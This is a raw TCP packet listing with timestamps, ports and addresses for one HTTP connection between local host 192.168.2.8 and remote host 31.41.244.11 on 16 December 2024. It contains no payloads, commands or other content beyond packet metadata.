Dec 16, 2024 13:16:12.602677107 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.602679014 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.602741003 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.606273890 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.606329918 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.606337070 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.606419086 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.609962940 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.610025883 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.610070944 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.610122919 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.613590002 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.613641977 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.613694906 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.613740921 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.617285967 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.617345095 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.617347002 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.617393017 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.620922089 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.620978117 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.620979071 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.621026993 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.624429941 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.624488115 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.624556065 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.624602079 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.627945900 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.628010035 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.628029108 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.628098011 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.631604910 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.631694078 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.631730080 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.631793976 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.634962082 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.635051966 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.635160923 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.635226965 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.638500929 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.638562918 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.638601065 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.638653040 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.642016888 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.642075062 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.642236948 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.642302990 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.645509005 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.645562887 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.645623922 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.645675898 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.649019957 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.649079084 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.649141073 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.649194002 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.652523994 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.652584076 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.652657986 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.652713060 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.656075954 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.656131029 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.656141043 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.656183004 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.659529924 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.659590006 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.659750938 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.659804106 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.663064957 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.663125038 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.663198948 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.663252115 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.666599989 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.666656971 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.666660070 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.666713953 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.670166016 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.670226097 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.670288086 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.670336962 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.673640013 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.673706055 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.673734903 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.673789024 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.677144051 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.677198887 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.677233934 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.677293062 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.680778980 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.680845022 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.680891037 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.680943012 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.684128046 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.684185028 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.756499052 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.756582022 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.756597996 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.756660938 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.757792950 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.757869959 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.757878065 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.757930994 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.759859085 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.759916067 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.759982109 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.760037899 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.762603045 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.762669086 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.762686968 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.762738943 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.765151978 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.765173912 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.765212059 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.765212059 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.767839909 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.767896891 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.768029928 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.768079042 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.770426035 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.770474911 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.770478010 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.770523071 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.773005962 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.773057938 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.773104906 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.773154020 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.775577068 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.775625944 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.775651932 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.775676012 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.778062105 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.778126001 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.778153896 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.778197050 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.780498981 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.780571938 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.780579090 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.780622005 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.782943010 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.783020973 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.783052921 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.783108950 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.785598993 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.785685062 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.785723925 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.785775900 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.787915945 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.787985086 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.788023949 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.788077116 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.790302992 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.790376902 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.790424109 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.790473938 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.792707920 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.792768955 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.792835951 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.792885065 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.795141935 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.795201063 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.795236111 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.795283079 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.797558069 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.797652960 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.797655106 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.797703981 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.800004005 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.800061941 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.800071001 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.800106049 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.802448034 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.802514076 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.802536011 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.802577019 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.804872990 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.804929018 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.804980040 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.805027008 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.807318926 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.807378054 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.807408094 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.807455063 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.809818029 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.809875965 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.809876919 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.809920073 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.811903000 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.811965942 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.812016010 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.812061071 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.819211006 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.819273949 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.819283009 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.819286108 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.819319010 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.819675922 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.819686890 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.819700003 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.819736004 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.819772959 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.821053982 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.821101904 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.821163893 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.821208954 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.822694063 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.822750092 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.822789907 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.822834015 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.824841976 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.824906111 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.824923038 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.824980021 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.827017069 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.827079058 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.827126980 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.827178001 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.829216003 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.829277992 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.829318047 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.829365969 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.831305981 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.831377029 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.831429958 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.831480026 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.833483934 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.833549976 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.833617926 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.833667994 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.835695028 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.835761070 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.835814953 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.835866928 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.837851048 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.837912083 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.838063002 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.838116884 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.839956999 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.840018988 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.840109110 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.840159893 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.842197895 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.842267036 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.842298985 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.842346907 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.844244003 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.844310045 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.844327927 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.844379902 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.846479893 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.846551895 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.846630096 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.846681118 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.848596096 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.848659992 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.848689079 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.848738909 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.850735903 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.850799084 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.850847960 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.850898027 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.852869987 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.852932930 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.852968931 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.853020906 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.855003119 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.855063915 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.855137110 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.855182886 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.857163906 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.857248068 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.857279062 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.857327938 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.859328032 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.859390020 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.859446049 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.859499931 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.861602068 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.861669064 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.861711979 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.861758947 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.863647938 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.863711119 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.863739967 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.863785982 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.865746975 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.865825891 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.865881920 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.865931034 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.867990971 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.868055105 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.868104935 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.868151903 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.870106936 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.870168924 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.870204926 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.870256901 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.872236967 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.872298956 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.872405052 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.872454882 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.948317051 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.948404074 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.948565960 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.948998928 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.949063063 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.949142933 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.949201107 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.950622082 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.950757027 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.950834990 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.952241898 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.952327967 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.952378035 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.952450037 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.954009056 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.954066038 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.954104900 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.954138041 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.955426931 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.955497980 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.955574989 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.956980944 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.957047939 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.957119942 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.957180977 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.958523035 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.958686113 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.958775043 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.960068941 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.960211039 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.960351944 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.960412025 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.961585999 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.961642027 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.961648941 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.961705923 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.963051081 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.963227034 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.963311911 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.964515924 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.964589119 CET	49711	80	192.168.2.8	31.41.244.11
